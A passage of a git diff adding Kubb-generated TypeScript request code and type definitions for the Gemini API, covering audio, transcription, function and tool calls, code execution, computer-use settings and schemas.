GeminiPostV1BetaTunedmodelsTunedmodelsidStreamgeneratecontentResponses, + ThrowOnError + > +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1beta/tunedModels/{tunedModelsId}:streamGenerateContent', + security: [{ type: 'apiKey', name: 'key', in: 'query' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult< + GeminiPostV1BetaTunedmodelsTunedmodelsidStreamgeneratecontentResponses, + ThrowOnError + > + > +} diff --git a/packages/ai-gemini/src/generated/client/types.ts b/packages/ai-gemini/src/generated/client/types.ts new file mode 100644 index 0000000000..c6bfec192f --- /dev/null +++ b/packages/ai-gemini/src/generated/client/types.ts @@ -0,0 +1,9175 @@ +/** + * Generated by Kubb (https://kubb.dev/). + * Do not edit manually. + */ + +export const audioResponseFormatMimeTypeEnum = { + MIME_TYPE_UNSPECIFIED: 'MIME_TYPE_UNSPECIFIED', + AUDIO_MP3: 'AUDIO_MP3', + AUDIO_OGG_OPUS: 'AUDIO_OGG_OPUS', + AUDIO_L16: 'AUDIO_L16', + AUDIO_WAV: 'AUDIO_WAV', + AUDIO_ALAW: 'AUDIO_ALAW', + AUDIO_MULAW: 'AUDIO_MULAW', +} as const + +export type AudioResponseFormatMimeTypeEnumKey = + (typeof audioResponseFormatMimeTypeEnum)[keyof typeof audioResponseFormatMimeTypeEnum] + +export const audioResponseFormatDeliveryEnum = { + DELIVERY_UNSPECIFIED: 'DELIVERY_UNSPECIFIED', + INLINE: 'INLINE', + URI: 'URI', +} as const + +export type AudioResponseFormatDeliveryEnumKey = + (typeof audioResponseFormatDeliveryEnum)[keyof typeof audioResponseFormatDeliveryEnum] + +/** + * @description Configuration for audio output format. + * @type object + */ +export type AudioResponseFormat = { + /** + * @description Optional. Bit rate in bits per second (bps). Only applicable for compressed formats (MP3, Opus). + * + * Format: `int32` + * @type integer | undefined + */ + bitRate?: number + /** + * @description Optional. The MIME type of the audio output. + * @type string | undefined + */ + mimeType?: AudioResponseFormatMimeTypeEnumKey + /** + * @description Optional. The delivery mode for the audio output. + * @type string | undefined + */ + delivery?: AudioResponseFormatDeliveryEnumKey + /** + * @description Optional. Sample rate in Hz. + * + * Format: `int32` + * @type integer | undefined + */ + sampleRate?: number +} + +/** + * @description Information about a single recognized word. + * @type object + */ +export type WordInfo = { + /** + * @description Required. Transcript of the word. + * @type string | undefined + */ + word?: string + /** + * @description Optional. Start offset in time of the word relative to the start of the audio. + * + * Format: `google-duration` + * @type string | undefined + */ + startOffset?: string + /** + * @description Optional. End offset in time of the word relative to the start of the audio. + * + * Format: `google-duration` + * @type string | undefined + */ + endOffset?: string +} + +/** + * @description The transcription of an audio part. For multi-speaker audio, each speaker segment is a separate Part with its own AudioTranscription carrying the speaker_label. + * @type object + */ +export type AudioTranscription = { + /** + * @description Optional. A label identifying the speaker of this audio segment (e.g. "spk_1", "spk_2"). Present when diarization is set. + * @type string | undefined + */ + speakerLabel?: string + /** + * @description Optional. Detailed word-level transcriptions and timing details. Present when word_timestamp is set. + * @type array | undefined + */ + words?: WordInfo[] + /** + * @description Required. The transcription text of this audio segment. + * @type string | undefined + */ + text?: string +} + +/** + * @description Provides hints to the model about possible languages present in the audio. + * @type object + */ +export type LanguageHints = { + /** + * @description Required. BCP-47 language codes. + * @type array | undefined + */ + languageCodes?: string[] +} + +/** + * @description Indicates the language of the audio should be automatically detected. + * @type object + */ +export type LanguageAuto = object + +export const audioTranscriptionConfigModeEnum = { + MODE_UNSPECIFIED: 'MODE_UNSPECIFIED', + VERBATIM: 'VERBATIM', + SMART: 'SMART', +} as const + +export type AudioTranscriptionConfigModeEnumKey = + (typeof audioTranscriptionConfigModeEnum)[keyof typeof audioTranscriptionConfigModeEnum] + +/** + * @description The audio transcription configuration. + * @type object + */ +export type AudioTranscriptionConfig = { + /** + * @description Optional. A list of phrases used for speech adaptation, which biases the ASR model to improve recognition of these specific terms. + * @type array | undefined + */ + adaptationPhrases?: string[] + /** + * @description Optional. The source text to be edited or rewritten via voice instructions. When provided in `SMART` mode, the model evaluates the audio input against this text and emits the complete replacement text in the candidate response rather than appending to it. + * @type string | undefined + */ + sourceText?: string + /** + * @description Provides hints to the model about possible languages present in the audio. + * @type object | undefined + */ + languageHints?: LanguageHints + /** + * @description Optional. Configures speaker diarization. + * @type boolean | undefined + */ + diarization?: boolean + /** + * @description Optional. BCP-47 language codes providing hints about the languages present in the audio. If omitted or empty, defaults to automatic language detection. + * @type array | undefined + */ + languageCodes?: string[] + /** + * @description Optional. Configures word-level timestamp generation. + * @type boolean | undefined + */ + wordTimestamp?: boolean + /** + * @description Optional. Configures transcription mode. Supported values: `VERBATIM`, `SMART`. If unspecified, defaults to `VERBATIM` transcription. In `SMART` mode, the model performs disfluency removal (eliminating filler words, repetitions, and false starts), light grammatical cleanup, automatic formatting (paragraphs, bullet points, numbered lists), and minor user edits (inline self-corrections). Timestamps and diarization are incompatible with mode `SMART`. + * @type string | undefined + */ + mode?: AudioTranscriptionConfigModeEnumKey + /** + * @description Optional. A list of custom vocabulary phrases to bias the speech recognition model toward recognizing specific terms (product names, proper nouns, jargon). + * @type array | undefined + */ + customVocabulary?: string[] + /** + * @description Indicates the language of the audio should be automatically detected. + * @type object | undefined + */ + languageAuto?: LanguageAuto +} + +/** + * @description Raw media bytes. Text should not be sent as raw bytes, use the 'text' field. + * @type object + */ +export type Blob = { + /** + * @description Optional. Specifies the name used to refer to this blob to the model (e.g. "my_blob.png"). Used as the blob reference identifier when `verbalization_mode` is set to `REFERENCE_ONLY`. + * @type string | undefined + */ + displayName?: string + /** + * @description The IANA standard MIME type of the source data. Examples of supported types: - Images: image/png, image/jpeg, image/jpg, image/webp, image/heic, image/heif, image/gif, image/avif - Audio: audio/*, video/audio/s16le, video/audio/wav - Video: video/* - Text: text/plain, text/html, text/css, text/javascript, text/x-typescript, text/csv, text/markdown, text/x-python, text/xml, text/rtf, video/text/timestamp - Applications: application/x-javascript, application/x-typescript, application/x-python-code, application/json, application/x-ipynb+json, application/rtf, application/pdf For additional context, see [Supported file formats](https://aistudio.google.com/docs/file-input-methods#supported-content-types). + * @type string | undefined + */ + mimeType?: string + /** + * @description Raw bytes for media formats. + * @type string | undefined + */ + data?: string +} + +/** + * @description Tool that executes code generated by the model, and automatically returns the result to the model. See also `ExecutableCode` and `CodeExecutionResult` which are only generated when using this tool. + * @type object + */ +export type CodeExecution = object + +export const codeExecutionResultOutcomeEnum = { + OUTCOME_UNSPECIFIED: 'OUTCOME_UNSPECIFIED', + OUTCOME_OK: 'OUTCOME_OK', + OUTCOME_FAILED: 'OUTCOME_FAILED', + OUTCOME_DEADLINE_EXCEEDED: 'OUTCOME_DEADLINE_EXCEEDED', +} as const + +export type CodeExecutionResultOutcomeEnumKey = + (typeof codeExecutionResultOutcomeEnum)[keyof typeof codeExecutionResultOutcomeEnum] + +/** + * @description Result of executing the `ExecutableCode`. Generated only when the `CodeExecution` tool is used. + * @type object + */ +export type CodeExecutionResult = { + /** + * @description Required. Outcome of the code execution. + * @type string | undefined + */ + outcome?: CodeExecutionResultOutcomeEnumKey + /** + * @description Optional. The identifier of the `ExecutableCode` part this result is for. Only populated if the corresponding `ExecutableCode` has an id. + * @type string | undefined + */ + id?: string + /** + * @description Optional. Contains stdout when code execution is successful, stderr or other description otherwise. + * @type string | undefined + */ + output?: string +} + +export const computerUseDisabledSafetyPoliciesEnum = { + SAFETY_POLICY_UNSPECIFIED: 'SAFETY_POLICY_UNSPECIFIED', + FINANCIAL_TRANSACTIONS: 'FINANCIAL_TRANSACTIONS', + SENSITIVE_DATA_MODIFICATION: 'SENSITIVE_DATA_MODIFICATION', + COMMUNICATION_TOOL: 'COMMUNICATION_TOOL', + ACCOUNT_CREATION: 'ACCOUNT_CREATION', + DATA_MODIFICATION: 'DATA_MODIFICATION', + USER_CONSENT_MANAGEMENT: 'USER_CONSENT_MANAGEMENT', + LEGAL_TERMS_AND_AGREEMENTS: 'LEGAL_TERMS_AND_AGREEMENTS', +} as const + +export type ComputerUseDisabledSafetyPoliciesEnumKey = + (typeof computerUseDisabledSafetyPoliciesEnum)[keyof typeof computerUseDisabledSafetyPoliciesEnum] + +export const computerUseEnvironmentEnum = { + ENVIRONMENT_UNSPECIFIED: 'ENVIRONMENT_UNSPECIFIED', + ENVIRONMENT_BROWSER: 'ENVIRONMENT_BROWSER', + ENVIRONMENT_MOBILE: 'ENVIRONMENT_MOBILE', + ENVIRONMENT_DESKTOP: 'ENVIRONMENT_DESKTOP', +} as const + +export type ComputerUseEnvironmentEnumKey = + (typeof computerUseEnvironmentEnum)[keyof typeof computerUseEnvironmentEnum] + +/** + * @description Computer Use tool type. + * @type object + */ +export type ComputerUse = { + /** + * @description Optional. Disabled safety policies for computer use. + * @type array | undefined + */ + disabledSafetyPolicies?: ComputerUseDisabledSafetyPoliciesEnumKey[] + /** + * @description Required. The environment being operated. + * @type string | undefined + */ + environment?: ComputerUseEnvironmentEnumKey + /** + * @description Optional. Whether enable the prompt injection detection check on computer-use request. + * @type boolean | undefined + */ + enablePromptInjectionDetection?: boolean + /** + * @description Optional. By default, predefined functions are included in the final model call. Some of them can be explicitly excluded from being automatically included. This can serve two purposes: 1. Using a more restricted / different action space. 2. Improving the definitions / instructions of predefined functions. + * @type array | undefined + */ + excludedPredefinedFunctions?: string[] +} + +/** + * @description URI based data. + * @type object + */ +export type FileData = { + /** + * @description Optional. Specifies the name used to refer to this file to the model (e.g. "my_file.pdf"). Used as the file reference identifier when `verbalization_mode` is set to `REFERENCE_ONLY`. + * @type string | undefined + */ + displayName?: string + /** + * @description Required. URI. + * @type string | undefined + */ + fileUri?: string + /** + * @description Optional. The IANA standard MIME type of the source data. + * @type string | undefined + */ + mimeType?: string +} + +export const V1MainMediaResolutionLevelEnum = { + MEDIA_RESOLUTION_UNSPECIFIED: 'MEDIA_RESOLUTION_UNSPECIFIED', + MEDIA_RESOLUTION_LOW: 'MEDIA_RESOLUTION_LOW', + MEDIA_RESOLUTION_MEDIUM: 'MEDIA_RESOLUTION_MEDIUM', + MEDIA_RESOLUTION_HIGH: 'MEDIA_RESOLUTION_HIGH', + MEDIA_RESOLUTION_ULTRA_HIGH: 'MEDIA_RESOLUTION_ULTRA_HIGH', +} as const + +export type V1MainMediaResolutionLevelEnumKey = + (typeof V1MainMediaResolutionLevelEnum)[keyof typeof V1MainMediaResolutionLevelEnum] + +/** + * @description Media resolution for tokenization. + * @type object + */ +export type V1MainMediaResolution = { + /** + * @description The tokenization quality used for given media. for Gemini API support . + * @type string | undefined + */ + level?: V1MainMediaResolutionLevelEnumKey +} + +/** + * @description Metadata describes the input video content. Set this in `Part.video_metadata` or `FunctionResponsePart.video_metadata` when `inline_data` or `file_data` contains video to configure static video preprocessing (such as time clipping, frame rate, maximum frame count, or extracted content layers). + * @type object + */ +export type VideoMetadata = { + /** + * @description Optional. The start offset of the video. + * + * Format: `google-duration` + * @type string | undefined + */ + startOffset?: string + /** + * @description Optional. The end offset of the video. + * + * Format: `google-duration` + * @type string | undefined + */ + endOffset?: string + /** + * @description Optional. The frame rate of the video sent to the model. If not specified, the default value will be 1.0. The fps range is (0.0, 24.0]. + * + * Format: `double` + * @type number | undefined + */ + fps?: number +} + +/** + * @description URI based data for function response. + * @type object + */ +export type FunctionResponseFileData = { + /** + * @description Optional. Display name of the file. Used to provide a label or filename to distinguish file data. + * @type string | undefined + */ + displayName?: string + /** + * @description The IANA standard MIME type of the source data. + * @type string | undefined + */ + mimeType?: string + /** + * @description Required. URI. + * @type string | undefined + */ + fileUri?: string +} + +/** + * @description Raw media bytes for function response. Text should not be sent as raw bytes, use the 'FunctionResponse.response' field. + * @type object + */ +export type FunctionResponseBlob = { + /** + * @description Optional. Display name of the blob. Used to provide a label or filename to distinguish blobs. + * @type string | undefined + */ + displayName?: string + /** + * @description Raw bytes for media formats. + * @type string | undefined + */ + data?: string + /** + * @description The IANA standard MIME type of the source data. Examples: - image/png - image/jpeg If an unsupported MIME type is provided, an error will be returned. For a complete list of supported types, see [Supported file formats](https://aistudio.google.com/docs/file-input-methods#supported-content-types). + * @type string | undefined + */ + mimeType?: string +} + +export const functionResponsePartMediaProcessingEnum = { + MEDIA_PROCESSING_UNSPECIFIED: 'MEDIA_PROCESSING_UNSPECIFIED', + STATIC: 'STATIC', + AGENTIC: 'AGENTIC', +} as const + +export type FunctionResponsePartMediaProcessingEnumKey = + (typeof functionResponsePartMediaProcessingEnum)[keyof typeof functionResponsePartMediaProcessingEnum] + +/** + * @description A datatype containing media that is part of a `FunctionResponse` message. A `FunctionResponsePart` consists of data which has an associated datatype. A `FunctionResponsePart` can only contain one of the accepted types in `FunctionResponsePart.data`. A `FunctionResponsePart` must have a fixed IANA MIME type identifying the type and subtype of the media if the `inline_data` field is filled with raw bytes. + * @type object + */ +export type FunctionResponsePart = { + /** + * @description URI based data for function response. + * @type object | undefined + */ + fileData?: FunctionResponseFileData + /** + * @description Optional. How the model processes this part's media for understanding. Only meaningful for video parts (`inline_data` or `file_data` with video mime). Non-video parts ignore this field. + * @type string | undefined + */ + mediaProcessing?: FunctionResponsePartMediaProcessingEnumKey + /** + * @description Raw media bytes for function response. Text should not be sent as raw bytes, use the 'FunctionResponse.response' field. + * @type object | undefined + */ + inlineData?: FunctionResponseBlob +} + +export const functionResponseSchedulingEnum = { + SCHEDULING_UNSPECIFIED: 'SCHEDULING_UNSPECIFIED', + SILENT: 'SILENT', + WHEN_IDLE: 'WHEN_IDLE', + INTERRUPT: 'INTERRUPT', +} as const + +export type FunctionResponseSchedulingEnumKey = + (typeof functionResponseSchedulingEnum)[keyof typeof functionResponseSchedulingEnum] + +/** + * @description The result output from a `FunctionCall` that contains a string representing the `FunctionDeclaration.name` and a structured JSON object containing any output from the function is used as context to the model. This should contain the result of a`FunctionCall` made based on model prediction. + * @type object + */ +export type FunctionResponse = { + /** + * @description Optional. The identifier of the function call this response is for. Populated by the client to match the corresponding function call `id`. + * @type string | undefined + */ + id?: string + /** + * @description Optional. Ordered `Parts` that constitute a function response. Parts may have different IANA MIME types. + * @type array | undefined + */ + parts?: FunctionResponsePart[] + /** + * @description Required. The function response in JSON object format. Callers can use any keys of their choice that fit the function's syntax to return the function output, e.g. "output", "result", etc. In particular, if the function call failed to execute, the response can have an "error" key to return error details to the model. Multimedia can be included by using a subobject containing a single "$ref" key whose value is the `inline_data.display_name` of a `FunctionResponsePart` holding the multimedia. See https://aistudio.google.com/docs/function-calling#multimodal. + * @type object | undefined + */ + response?: { + [key: string]: unknown + } + /** + * @description Optional. Signals that function call continues, and more responses will be returned, turning the function call into a generator. Is only applicable to NON_BLOCKING function calls, is ignored otherwise. If set to false, future responses will not be considered. It is allowed to return empty `response` with `will_continue=False` to signal that the function call is finished. This may still trigger the model generation. To avoid triggering the generation and finish the function call, additionally set `scheduling` to `SILENT`. + * @type boolean | undefined + */ + willContinue?: boolean + /** + * @description Optional. Specifies how the response should be scheduled in the conversation. Only applicable to NON_BLOCKING function calls, is ignored otherwise. Defaults to WHEN_IDLE. + * @type string | undefined + */ + scheduling?: FunctionResponseSchedulingEnumKey + /** + * @description Required. The name of the function to call. Must be a-z, A-Z, 0-9, or contain underscores and dashes, with a maximum length of 128. + * @type string | undefined + */ + name?: string +} + +/** + * @description A predicted `FunctionCall` returned from the model that contains a string representing the `FunctionDeclaration.name` with the arguments and their values. + * @type object + */ +export type FunctionCall = { + /** + * @description Optional. Unique identifier of the function call. If populated, the client to execute the `function_call` and return the response with the matching `id`. + * @type string | undefined + */ + id?: string + /** + * @description Optional. The function parameters and values in JSON object format. + * @type object | undefined + */ + args?: { + [key: string]: unknown + } + /** + * @description Required. The name of the function to call. Must be a-z, A-Z, 0-9, or contain underscores and dashes, with a maximum length of 128. + * @type string | undefined + */ + name?: string +} + +export const toolResponseToolTypeEnum = { + TOOL_TYPE_UNSPECIFIED: 'TOOL_TYPE_UNSPECIFIED', + GOOGLE_SEARCH_WEB: 'GOOGLE_SEARCH_WEB', + GOOGLE_SEARCH_IMAGE: 'GOOGLE_SEARCH_IMAGE', + URL_CONTEXT: 'URL_CONTEXT', + GOOGLE_MAPS: 'GOOGLE_MAPS', + FILE_SEARCH: 'FILE_SEARCH', + MEDIA_PROCESSING: 'MEDIA_PROCESSING', +} as const + +export type ToolResponseToolTypeEnumKey = + (typeof toolResponseToolTypeEnum)[keyof typeof toolResponseToolTypeEnum] + +/** + * @description The output from a server-side `ToolCall` execution. This message contains the results of a tool invocation that was initiated by a `ToolCall` from the model. The client should pass this `ToolResponse` back to the API in a subsequent turn within a `Content` message, along with the corresponding `ToolCall`. + * @type object + */ +export type ToolResponse = { + /** + * @description Optional. The identifier of the tool call this response is for. + * @type string | undefined + */ + id?: string + /** + * @description Required. The type of tool that was called, matching the `tool_type` in the corresponding `ToolCall`. + * @type string | undefined + */ + toolType?: ToolResponseToolTypeEnumKey + /** + * @description Optional. The tool response. + * @type object | undefined + */ + response?: { + [key: string]: unknown + } +} + +export const toolCallToolTypeEnum = { + TOOL_TYPE_UNSPECIFIED: 'TOOL_TYPE_UNSPECIFIED', + GOOGLE_SEARCH_WEB: 'GOOGLE_SEARCH_WEB', + GOOGLE_SEARCH_IMAGE: 'GOOGLE_SEARCH_IMAGE', + URL_CONTEXT: 'URL_CONTEXT', + GOOGLE_MAPS: 'GOOGLE_MAPS', + FILE_SEARCH: 'FILE_SEARCH', + MEDIA_PROCESSING: 'MEDIA_PROCESSING', +} as const + +export type ToolCallToolTypeEnumKey = + (typeof toolCallToolTypeEnum)[keyof typeof toolCallToolTypeEnum] + +/** + * @description A predicted server-side `ToolCall` returned from the model. This message contains information about a tool that the model wants to invoke. The client is NOT expected to execute this `ToolCall`. Instead, the client should pass this `ToolCall` back to the API in a subsequent turn within a `Content` message, along with the corresponding `ToolResponse`. + * @type object + */ +export type ToolCall = { + /** + * @description Optional. The tool call arguments. Example: {"arg1" : "value1", "arg2" : "value2" , ...} + * @type object | undefined + */ + args?: { + [key: string]: unknown + } + /** + * @description Optional. The name of the tool that was called. + * @type string | undefined + */ + toolName?: string + /** + * @description Required. The type of tool that was called. + * @type string | undefined + */ + toolType?: ToolCallToolTypeEnumKey + /** + * @description Optional. Unique identifier of the tool call. The server returns the tool response with the matching `id`. + * @type string | undefined + */ + id?: string +} + +export const executableCodeLanguageEnum = { + LANGUAGE_UNSPECIFIED: 'LANGUAGE_UNSPECIFIED', + PYTHON: 'PYTHON', +} as const + +export type ExecutableCodeLanguageEnumKey = + (typeof executableCodeLanguageEnum)[keyof typeof executableCodeLanguageEnum] + +/** + * @description Code generated by the model that is meant to be executed, and the result returned to the model. Only generated when using the `CodeExecution` tool, in which the code will be automatically executed, and a corresponding `CodeExecutionResult` will also be generated. + * @type object + */ +export type ExecutableCode = { + /** + * @description Required. Programming language of the `code`. + * @type string | undefined + */ + language?: ExecutableCodeLanguageEnumKey + /** + * @description Required. The code to be executed. + * @type string | undefined + */ + code?: string + /** + * @description Optional. Unique identifier of the `ExecutableCode` part. The server returns the `CodeExecutionResult` with the matching `id`. + * @type string | undefined + */ + id?: string +} + +/** + * @description Speech metadata for `text` parts. + * @type object + */ +export type SpeechMetadata = { + /** + * @description Optional. Optional speaker name for multi-speaker synthesis. + * @type string | undefined + */ + speaker?: string + /** + * @description Optional. Optional style instruction for the speech synthesis. + * @type string | undefined + */ + style?: string +} + +export const partMediaProcessingEnum = { + MEDIA_PROCESSING_UNSPECIFIED: 'MEDIA_PROCESSING_UNSPECIFIED', + STATIC: 'STATIC', + AGENTIC: 'AGENTIC', +} as const + +export type PartMediaProcessingEnumKey = + (typeof partMediaProcessingEnum)[keyof typeof partMediaProcessingEnum] + +/** + * @description A datatype containing media that is part of a multi-part `Content` message. A `Part` consists of data which has an associated datatype. A `Part` can only contain one of the accepted types in `Part.data`. A `Part` must have a fixed IANA MIME type identifying the type and subtype of the media if the `inline_data` field is filled with raw bytes. + * @type object + */ +export type Part = { + /** + * @description Optional. How the model processes this part's media for understanding. Only meaningful for video parts (`inline_data` or `file_data` with video mime). Non-video parts ignore this field. + * @type string | undefined + */ + mediaProcessing?: PartMediaProcessingEnumKey + /** + * @description Optional. An opaque signature for the thought so it can be reused in subsequent requests. + * @type string | undefined + */ + thoughtSignature?: string + /** + * @description URI based data. + * @type object | undefined + */ + fileData?: FileData + /** + * @description Media resolution for tokenization. + * @type object | undefined + */ + mediaResolution?: V1MainMediaResolution + /** + * @description Raw media bytes. Text should not be sent as raw bytes, use the 'text' field. + * @type object | undefined + */ + inlineData?: Blob + /** + * @description Metadata describes the input video content. Set this in `Part.video_metadata` or `FunctionResponsePart.video_metadata` when `inline_data` or `file_data` contains video to configure static video preprocessing (such as time clipping, frame rate, maximum frame count, or extracted content layers). + * @type object | undefined + */ + videoMetadata?: VideoMetadata + /** + * @description The result output from a `FunctionCall` that contains a string representing the `FunctionDeclaration.name` and a structured JSON object containing any output from the function is used as context to the model. This should contain the result of a`FunctionCall` made based on model prediction. + * @type object | undefined + */ + functionResponse?: FunctionResponse + /** + * @description Custom metadata associated with the Part. Agents using genai.Part as content representation may need to keep track of the additional information. For example it can be name of a file/source from which the Part originates or a way to multiplex multiple Part streams. + * @type object | undefined + */ + partMetadata?: { + [key: string]: unknown + } + /** + * @description A predicted `FunctionCall` returned from the model that contains a string representing the `FunctionDeclaration.name` with the arguments and their values. + * @type object | undefined + */ + functionCall?: FunctionCall + /** + * @description The output from a server-side `ToolCall` execution. This message contains the results of a tool invocation that was initiated by a `ToolCall` from the model. The client should pass this `ToolResponse` back to the API in a subsequent turn within a `Content` message, along with the corresponding `ToolCall`. + * @type object | undefined + */ + toolResponse?: ToolResponse + /** + * @description A predicted server-side `ToolCall` returned from the model. This message contains information about a tool that the model wants to invoke. The client is NOT expected to execute this `ToolCall`. Instead, the client should pass this `ToolCall` back to the API in a subsequent turn within a `Content` message, along with the corresponding `ToolResponse`. + * @type object | undefined + */ + toolCall?: ToolCall + /** + * @description Optional. Indicates if the part is thought from the model. + * @type boolean | undefined + */ + thought?: boolean + /** + * @description The transcription of an audio part. For multi-speaker audio, each speaker segment is a separate Part with its own AudioTranscription carrying the speaker_label. + * @type object | undefined + */ + audioTranscription?: AudioTranscription + /** + * @description Code generated by the model that is meant to be executed, and the result returned to the model. Only generated when using the `CodeExecution` tool, in which the code will be automatically executed, and a corresponding `CodeExecutionResult` will also be generated. + * @type object | undefined + */ + executableCode?: ExecutableCode + /** + * @description Speech metadata for `text` parts. + * @type object | undefined + */ + speechMetadata?: SpeechMetadata + /** + * @description Inline text. + * @type string | undefined + */ + text?: string + /** + * @description Result of executing the `ExecutableCode`. Generated only when the `CodeExecution` tool is used. + * @type object | undefined + */ + codeExecutionResult?: CodeExecutionResult +} + +/** + * @description The base structured datatype containing multi-part content of a message. A `Content` includes a `role` field designating the producer of the `Content` and a `parts` field containing multi-part data that contains the content of the message turn. + * @type object + */ +export type Content = { + /** + * @description Optional. The producer of the content. Must be either 'user' or 'model'. Useful to set for multi-turn conversations, otherwise can be left blank or unset. + * @type string | undefined + */ + role?: string + /** + * @description Ordered `Parts` that constitute a single message. Parts may have different MIME types. + * @type array | undefined + */ + parts?: Part[] +} + +export const dynamicRetrievalConfigModeEnum = { + MODE_UNSPECIFIED: 'MODE_UNSPECIFIED', + MODE_DYNAMIC: 'MODE_DYNAMIC', +} as const + +export type DynamicRetrievalConfigModeEnumKey = + (typeof dynamicRetrievalConfigModeEnum)[keyof typeof dynamicRetrievalConfigModeEnum] + +/** + * @description Describes the options to customize dynamic retrieval. + * @type object + */ +export type DynamicRetrievalConfig = { + /** + * @description The mode of the predictor to be used in dynamic retrieval. + * @type string | undefined + */ + mode?: DynamicRetrievalConfigModeEnumKey + /** + * @description The threshold to be used in dynamic retrieval. If not set, a system default value is used. + * + * Format: `float` + * @type number | undefined + */ + dynamicThreshold?: number +} + +/** + * @description The FileSearch tool that retrieves knowledge from Semantic Retrieval corpora. Files are imported to Semantic Retrieval corpora using the ImportFile API. + * @type object + */ +export type FileSearch = { + /** + * @description Required. The names of the file_search_stores to retrieve from. Example: `fileSearchStores/my-file-search-store-123` + * @type array | undefined + */ + fileSearchStoreNames?: string[] + /** + * @description Optional. The number of semantic retrieval chunks to retrieve. + * + * Format: `int32` + * @type integer | undefined + */ + topK?: number + /** + * @description Optional. Metadata filter to apply to the semantic retrieval documents and chunks. + * @type string | undefined + */ + metadataFilter?: string +} + +export const functionCallingConfigModeEnum = { + MODE_UNSPECIFIED: 'MODE_UNSPECIFIED', + AUTO: 'AUTO', + ANY: 'ANY', + NONE: 'NONE', + VALIDATED: 'VALIDATED', +} as const + +export type FunctionCallingConfigModeEnumKey = + (typeof functionCallingConfigModeEnum)[keyof typeof functionCallingConfigModeEnum] + +/** + * @description Configuration for specifying function calling behavior. + * @type object + */ +export type FunctionCallingConfig = { + /** + * @description Optional. Specifies the mode in which function calling should execute. If unspecified, the default value will be set to AUTO. + * @type string | undefined + */ + mode?: FunctionCallingConfigModeEnumKey + /** + * @description Optional. A set of function names that, when provided, limits the functions the model will call. This should only be set when the Mode is ANY or VALIDATED. Function names should match [FunctionDeclaration.name]. When set, model will predict a function call from only allowed function names. + * @type array | undefined + */ + allowedFunctionNames?: string[] +} + +export const schemaTypeEnum = { + TYPE_UNSPECIFIED: 'TYPE_UNSPECIFIED', + STRING: 'STRING', + NUMBER: 'NUMBER', + INTEGER: 'INTEGER', + BOOLEAN: 'BOOLEAN', + ARRAY: 'ARRAY', + OBJECT: 'OBJECT', + NULL: 'NULL', +} as const + +export type SchemaTypeEnumKey = + (typeof schemaTypeEnum)[keyof typeof schemaTypeEnum] + +/** + * @description The `Schema` object allows the definition of input and output data types. These types can be objects, but also primitives and arrays. Represents a select subset of an [OpenAPI 3.0 schema object](https://spec.openapis.org/oas/v3.0.3#schema). + * @type object + */ +export type Schema = { + /** + * @description Optional. A brief description of the parameter. This could contain examples of use. Parameter description may be formatted as Markdown. + * @type string | undefined + */ + description?: string + /** + * @description Optional. Pattern of the Type.STRING to restrict a string to a regular expression. + * @type string | undefined + */ + pattern?: string + /** + * @description Optional. The title of the schema. + * @type string | undefined + */ + title?: string + /** + * @description Optional. Default value of the field. Per JSON Schema, this field is intended for documentation generators and doesn't affect validation. Thus it's included here and ignored so that developers who send schemas with a `default` field don't get unknown-field errors. + * @type unknown | undefined + */ + default?: unknown + /** + * @description Optional. Required properties of Type.OBJECT. + * @type array | undefined + */ + required?: string[] + /** + * @description Optional. SCHEMA FIELDS FOR TYPE INTEGER and NUMBER Minimum value of the Type.INTEGER and Type.NUMBER + * + * Format: `double` + * @type number | undefined + */ + minimum?: number + /** + * @description Optional. Minimum number of the properties for Type.OBJECT. + * + * Format: `int64` + * @type string | undefined + */ + minProperties?: string + /** + * @description Optional. Maximum number of the elements for Type.ARRAY. + * + * Format: `int64` + * @type string | undefined + */ + maxItems?: string + /** + * @description Optional. Possible values of the element of Type.STRING with enum format. For example we can define an Enum Direction as : {type:STRING, format:enum, enum:["EAST", NORTH", "SOUTH", "WEST"]} + * @type array | undefined + */ + enum?: string[] + /** + * @description Optional. Properties of Type.OBJECT. + * @type object | undefined + */ + properties?: { + [key: string]: Schema + } + /** + * @description Optional. Minimum number of the elements for Type.ARRAY. + * + * Format: `int64` + * @type string | undefined + */ + minItems?: string + /** + * @description Optional. Maximum length of the Type.STRING + * + * Format: `int64` + * @type string | undefined + */ + maxLength?: string + /** + * @description Optional. Example of the object. Will only populated when the object is the root. + * @type unknown | undefined + */ + example?: unknown + /** + * @description Optional. Maximum number of the properties for Type.OBJECT. + * + * Format: `int64` + * @type string | undefined + */ + maxProperties?: string + /** + * @description Required. Data type. + * @type string | undefined + */ + type?: SchemaTypeEnumKey + /** + * @description Optional. The order of the properties. Not a standard field in open api spec. Used to determine the order of the properties in the response. + * @type array | undefined + */ + propertyOrdering?: string[] + /** + * @description Optional. The format of the data. Any value is allowed, but most do not trigger any special functionality. + * @type string | undefined + */ + format?: string + /** + * @description The `Schema` object allows the definition of input and output data types. These types can be objects, but also primitives and arrays. Represents a select subset of an [OpenAPI 3.0 schema object](https://spec.openapis.org/oas/v3.0.3#schema). + * @type object | undefined + */ + items?: Schema + /** + * @description Optional. The value should be validated against any (one or more) of the subschemas in the list. + * @type array | undefined + */ + anyOf?: Schema[] + /** + * @description Optional. Maximum value of the Type.INTEGER and Type.NUMBER + * + * Format: `double` + * @type number | undefined + */ + maximum?: number + /** + * @description Optional. SCHEMA FIELDS FOR TYPE STRING Minimum length of the Type.STRING + * + * Format: `int64` + * @type string | undefined + */ + minLength?: string + /** + * @description Optional. Indicates if the value may be null. + * @type boolean | undefined + */ + nullable?: boolean +} + +export const functionDeclarationBehaviorEnum = { + UNSPECIFIED: 'UNSPECIFIED', + BLOCKING: 'BLOCKING', + NON_BLOCKING: 'NON_BLOCKING', +} as const + +export type FunctionDeclarationBehaviorEnumKey = + (typeof functionDeclarationBehaviorEnum)[keyof typeof functionDeclarationBehaviorEnum] + +/** + * @description Structured representation of a function declaration as defined by the [OpenAPI 3.03 specification](https://spec.openapis.org/oas/v3.0.3). Included in this declaration are the function name and parameters. This FunctionDeclaration is a representation of a block of code that can be used as a `Tool` by the model and executed by the client. + * @type object + */ +export type FunctionDeclaration = { + /** + * @description The `Schema` object allows the definition of input and output data types. These types can be objects, but also primitives and arrays. Represents a select subset of an [OpenAPI 3.0 schema object](https://spec.openapis.org/oas/v3.0.3#schema). + * @type object | undefined + */ + parameters?: Schema + /** + * @description Required. A brief description of the function. + * @type string | undefined + */ + description?: string + /** + * @description Optional. Specifies the function Behavior. Currently only supported by the BidiGenerateContent method. + * @type string | undefined + */ + behavior?: 